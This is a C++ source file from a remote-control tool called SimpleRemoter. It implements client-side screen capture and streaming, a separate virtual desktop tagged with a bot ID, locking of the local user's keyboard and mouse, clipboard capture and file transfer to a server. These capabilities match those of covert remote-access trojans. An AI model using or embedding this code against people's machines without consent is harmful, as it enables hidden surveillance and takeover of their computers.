Files
SimpleRemoter/client/ScreenManager.cpp

1023 lines
35 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenManager.h"
#include "Common.h"
#include <IOSTREAM>
#if _MSC_VER <= 1200
#include <Winable.h>
#else
#include <WinUser.h>
#endif
#include <time.h>
#include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h"
#include <Shlwapi.h>
#include <shlobj_core.h>
#include "common/file_upload.h"
#include <thread>
#include "ClientDll.h"
#pragma comment(lib, "Shlwapi.lib")
#ifndef PLUGIN
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "FileUpload_Libx64d.lib")
#else
#pragma comment(lib, "FileUpload_Libx64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "FileUpload_Libd.lib")
#else
#pragma comment(lib, "FileUpload_Lib.lib")
#endif
#endif
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#define WM_MOUSEWHEEL 0x020A
#define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam))
bool IsWindows8orHigher()
{
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
if (!hMod) return false;
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
if (!rtlGetVersion) return false;
RTL_OSVERSIONINFOW rovi = { 0 };
rovi.dwOSVersionInfoSize = sizeof(rovi);
if (rtlGetVersion(&rovi) == 0) {
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
}
return false;
}
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
#ifndef PLUGIN
extern ClientApp g_MyApp;
m_conn = g_MyApp.g_Connection;
InitFileUpload("", 64, 50, Logf);
#endif
m_isGDI = TRUE;
m_virtual = FALSE;
m_bIsWorking = TRUE;
m_bIsBlockInput = FALSE;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ScreenSpyObject = nullptr;
m_ptrUser = (INT_PTR)user;
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL);
}
bool CScreenManager::SwitchScreen()
{
if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1 ||
!m_ScreenSpyObject->IsMultiScreenEnabled())
return false;
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
if (s == WAIT_TIMEOUT) {
TerminateThread(m_hWorkThread, -1);
}
m_bIsWorking = TRUE;
m_SendFirst = FALSE;
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
return true;
}
std::wstring ConvertToWString(const std::string& multiByteStr)
{
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
{
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, sizeof(szDirectoryName), pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
SetLastError(0);
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
DWORD err = GetLastError();
SAFE_CLOSE_HANDLE(pInfo.hProcess);
SAFE_CLOSE_HANDLE(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, err, 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] %s: %s\n", pszApplicationFilePath, err ? "failed" : "succeed", pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
} catch (...) {
bReturn = false;
}
return bReturn;
}
// 检查指定桌面hDesk中是否存在目标进程targetExeName
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
{
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess)
{
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
SAFE_CLOSE_HANDLE(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
void CScreenManager::InitScreenSpy()
{
int DXGI = USING_GDI;
BYTE algo = ALGORITHM_DIFF;
BYTE* user = (BYTE*)m_ptrUser;
BOOL all = FALSE;
if (!(user == NULL || ((int)user) == 1)) {
UserParam* param = (UserParam*)user;
if (param) {
DXGI = param->buffer[0];
algo = param->length > 1 ? param->buffer[1] : algo;
all = param->length > 2 ? param->buffer[2] : all;
}
m_pUserParam = param;
} else {
DXGI = (int)user;
}
Mprintf("CScreenManager: Type %d Algorithm: %d\n", DXGI, int(algo));
if (DXGI == USING_VIRTUAL) {
m_virtual = TRUE;
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
} else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe");
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) {
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
} else {
HDESK hDesk = OpenActiveDesktop();
if (hDesk) {
SetThreadDesktop(g_hDesk = hDesk);
}
}
SAFE_DELETE(m_ScreenSpyObject);
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
m_isGDI = FALSE;
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
if (s->IsInitSucceed()) {
m_ScreenSpyObject = s;
} else {
SAFE_DELETE(s);
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
}
} else {
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
}
}
BOOL IsRunningAsSystem() {
HANDLE hToken;
PTOKEN_USER pTokenUser = NULL;
DWORD dwSize = 0;
BOOL isSystem = FALSE;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
return FALSE;
}
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (pTokenUser && GetTokenInformation(hToken, TokenUser, pTokenUser,
dwSize, &dwSize)) {
// 使用 WellKnownSid 创建 SYSTEM SID
BYTE systemSid[SECURITY_MAX_SID_SIZE];
DWORD sidSize = sizeof(systemSid);
if (CreateWellKnownSid(WinLocalSystemSid, NULL, systemSid, &sidSize)) {
isSystem = EqualSid(pTokenUser->User.Sid, systemSid);
if (isSystem){
Mprintf("当前进程以 SYSTEM 身份运行。\n");
} else {
Mprintf("当前进程未以 SYSTEM 身份运行。\n");
}
}
}
free(pTokenUser);
CloseHandle(hToken);
return isSystem;
}
BOOL CScreenManager::OnReconnect()
{
m_SendFirst = FALSE;
BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed");
return r;
}
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{
CScreenManager *This = (CScreenManager *)lParam;
This->InitScreenSpy();
This->SendBitMapInfo(); //发送bmp位图结构
// 等控制端对话框打开
This->WaitForDialogOpen();
clock_t last = clock();
#if USING_ZLIB
const int fps = 8;// 帧率
#else
const int fps = 8;// 帧率
#endif
const int sleep = 1000 / fps;// 间隔时间ms
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
float s0 = sleep; // 两帧之间隔ms
const int frames = fps; // 每秒调整屏幕发送速度
const float alpha = 1.03; // 控制fps的因子
clock_t last_check = clock();
timeBeginPeriod(1);
while (This->m_bIsWorking) {
WAIT_n(This->m_bIsWorking && !This->IsConnected(), 6, 200);
if (!This->IsConnected()) This->OnReconnect();
if (!This->IsConnected()) continue;
if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
}
// 降低桌面检查频率避免频繁的DC重置导致闪屏
if (This->IsRunAsService() && !This->m_virtual) {
auto now = clock();
if (now - last_check > 500) {
last_check = now;
// 使用公共函数检查并切换桌面(无需写权限)
if (SwitchToDesktopIfChanged(This->g_hDesk, 0) && This->m_isGDI) {
// 桌面变化时重置屏幕捕获的DC
CScreenSpy* spy = (CScreenSpy*)(This->m_ScreenSpyObject);
if (spy) {
spy->ResetDesktopDC();
}
}
}
}
ULONG ulNextSendLength = 0;
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
if (szBuffer) {
s0 = max(s0, 1000./This->m_nMaxFPS); // 最快每秒20帧
s0 = min(s0, 1000);
int span = s0-(clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= sleep*4) ? s0*alpha : s0;
c1 = 0;
#if _DEBUG
if (1000./s0>1.0)
Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
} else if (span > 0) { // 发送数据耗时比s0短表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= sleep/4) ? s0/alpha : s0;
c2 = 0;
#if _DEBUG
if (1000./s0<This->m_nMaxFPS)
Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
VOID CScreenManager::SendBitMapInfo()
{
//这里得到bmp结构的大小
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL)
return;
szBuffer[0] = TOKEN_BITMAPINFO;
//这里将bmp位图结构发送出去
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
VirtualFree(szBuffer, 0, MEM_RELEASE);
}
CScreenManager::~CScreenManager()
{
Mprintf("ScreenManager 析构函数\n");
UninitFileUpload();
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
if (m_hWorkThread!=NULL) {
SAFE_CLOSE_HANDLE(m_hWorkThread);
}
delete m_ScreenSpyObject;
m_ScreenSpyObject = NULL;
SAFE_DELETE(m_pUserParam);
}
void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::string& files)
{
auto start = time(0);
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
// 发送目录并准备接收文件
int len = 1 + folder.length() + files.length() + 1;
char* cmd = new char[len];
cmd[0] = COMMAND_GET_FILE;
memcpy(cmd + 1, folder.c_str(), folder.length());
cmd[1 + folder.length()] = 0;
memcpy(cmd + 1 + folder.length() + 1, files.data(), files.length());
cmd[1 + folder.length() + files.length()] = 0;
pClient->Send2Server(cmd, len);
SAFE_DELETE_ARRAY(cmd);
pClient->RunEventLoop(TRUE);
}
delete pClient;
Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start);
}
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
{
IOCPClient* pClient = (IOCPClient*)user;
if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) {
return false;
}
return true;
}
void RecvData(void* ptr)
{
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
}
void delay_destroy(IOCPClient* pClient, int sec)
{
if (!pClient) return;
Sleep(sec * 1000);
delete pClient;
}
void FinishSend(void* user)
{
IOCPClient* pClient = (IOCPClient*)user;
std::thread(delay_destroy, pClient, 15).detach();
}
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_BYE: {
Mprintf("[CScreenManager] Received BYE: %s\n", ToPekingTimeAsString(0).c_str());
m_bIsWorking = FALSE;
m_ClientObject->StopRunning();
break;
}
case COMMAND_SWITCH_SCREEN: {
SwitchScreen();
break;
}
case CMD_MULTITHREAD_COMPRESS: {
int threadNum = szBuffer[1];
m_ClientObject->SetMultiThreadCompress(threadNum);
break;
}
case CMD_FPS: {
m_nMaxFPS = min(255, unsigned(szBuffer[1]));
m_nMaxFPS = max(m_nMaxFPS, 1);
break;
}
case COMMAND_NEXT: {
m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0;
NotifyDialogIsOpen();
break;
}
case COMMAND_SCREEN_CONTROL: {
BlockInput(false);
ProcessCommand(szBuffer + 1, ulLength - 1);
BlockInput(m_bIsBlockInput); //再恢复成用户的设置
break;
}
case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //鼠标键盘的锁定
BlockInput(m_bIsBlockInput);
break;
}
case COMMAND_SCREEN_GET_CLIPBOARD: {
int result = 0;
auto files = GetClipboardFiles(result);
if (!files.empty()) {
char h[100] = {};
memcpy(h, szBuffer + 1, ulLength - 1);
m_hash = std::string(h, h + 64);
m_hmac = std::string(h + 64, h + 80);
BYTE szBuffer[1] = { COMMAND_GET_FOLDER };
SendData(szBuffer, sizeof(szBuffer));
break;
}
SendClientClipboard(ulLength > 1);
break;
}
case COMMAND_SCREEN_SET_CLIPBOARD: {
UpdateClientClipboard((char*)szBuffer + 1, ulLength - 1);
break;
}
case COMMAND_GET_FOLDER: {
std::string folder;
if ((GetCurrentFolderPath(folder) || IsDebug) && ulLength - 1 > 80) {
char *h = new char[ulLength-1];
memcpy(h, szBuffer + 1, ulLength - 1);
m_hash = std::string(h, h + 64);
m_hmac = std::string(h + 64, h + 80);
std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : "";
SAFE_DELETE_ARRAY(h);
if (OpenClipboard(nullptr)) {
EmptyClipboard();
CloseClipboard();
}
std::thread(RunFileReceiver, this, folder, files).detach();
}
break;
}
case COMMAND_GET_FILE: {
// 发送文件
int result = 0;
auto files = GetClipboardFiles(result);
std::string dir = (char*)(szBuffer + 1);
if (!files.empty() && !dir.empty()) {
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread(FileBatchTransferWorker, files, dir, pClient, ::SendData, ::FinishSend,
m_hash, m_hmac).detach();
} else {
delete pClient;
}
}
break;
}
case COMMAND_SEND_FILE: {
// 接收文件
int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str());
}
break;
}
}
}
VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hGlobal = GlobalAlloc(GMEM_DDESHARE, ulLength+1);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
if (szClipboardVirtualAddress == NULL) {
GlobalFree(hGlobal);
CloseClipboard();
return;
}
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
szClipboardVirtualAddress[ulLength] = '\0';
GlobalUnlock(hGlobal);
if(NULL==SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
VOID CScreenManager::SendClientClipboard(BOOL fast)
{
if (!::OpenClipboard(NULL))
return;
// 改为获取 Unicode 格式
HGLOBAL hGlobal = GetClipboardData(CF_UNICODETEXT);
if (hGlobal == NULL) {
::CloseClipboard();
return;
}
wchar_t* pWideStr = (wchar_t*)GlobalLock(hGlobal);
if (pWideStr == NULL) {
::CloseClipboard();
return;
}
// Unicode 转 UTF-8
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, NULL, 0, NULL, NULL);
if (utf8Len <= 0) {
GlobalUnlock(hGlobal);
::CloseClipboard();
return;
}
if (fast && utf8Len > 200 * 1024) {
Mprintf("剪切板文本太长, 无法快速拷贝: %d\n", utf8Len);
GlobalUnlock(hGlobal);
::CloseClipboard();
return;
}
LPBYTE szBuffer = new BYTE[utf8Len + 1];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
WideCharToMultiByte(CP_UTF8, 0, pWideStr, -1, (char*)(szBuffer + 1), utf8Len, NULL, NULL);
GlobalUnlock(hGlobal);
::CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, utf8Len + 1);
delete[] szBuffer;
}
VOID CScreenManager::SendFirstScreen()
{
ULONG ulFirstSendLength = 0;
LPVOID FirstScreenData = m_ScreenSpyObject->GetFirstScreenData(&ulFirstSendLength);
if (ulFirstSendLength == 0 || FirstScreenData == NULL) {
return;
}
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
}
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
{
AUTO_TICK(100, "GetNextScreen");
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
if (ulNextSendLength == 0 || NextScreenData == NULL) {
return NULL;
}
return (char*)NextScreenData;
}
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
{
AUTO_TICK(100, std::to_string(ulNextSendLength));
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
}
std::string GetTitle(HWND hWnd)
{
char title[256]; // 预留缓冲区
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
int msgSize = sizeof(MSG64);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
// 命令个数
ULONG ulMsgCount = ulLength / msgSize;
// 处理多个命令
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (m_virtual) {
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
default: {
msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) };
m_ScreenSpyObject->PointConversion(msg->pt);
msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y);
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_RBUTTONDOWN) {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
} else if (msg->message == WM_RBUTTONUP) {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = {};
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
} else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加模拟键盘按下Shift+F10备用菜单触发方式
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
} else if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd) {
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
} else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
} else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
} else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
return;
}
if (IsRunAsService()) {
const int CHECK_INTERVAL = 100; // 桌面检测间隔ms快速响应锁屏/UAC切换
// 首次调用或定期检测桌面是否变化(降低频率,避免每次输入都检测)
auto now = clock();
if (!s_inputDesk || now - s_lastCheck > CHECK_INTERVAL) {
s_lastCheck = now;
if (SwitchToDesktopIfChanged(s_inputDesk, DESKTOP_WRITEOBJECTS | GENERIC_WRITE)) {
// 桌面变化时,标记需要重新设置线程桌面
s_lastThreadId = 0;
}
}
// 确保当前线程在正确的桌面上(仅首次或线程变化时设置)
if (s_inputDesk) {
DWORD currentThreadId = GetCurrentThreadId();
if (currentThreadId != s_lastThreadId) {
SetThreadDesktop(s_inputDesk);
s_lastThreadId = currentThreadId;
}
}
}
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
BOOL b = SetCursorPos(Point.x, Point.y);
if (!b) {
SetForegroundWindow(GetDesktopWindow());
ReleaseCapture();
return;
}
}
break;
default:
break;
}
switch(Msg->message) { //端口发加快递费
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
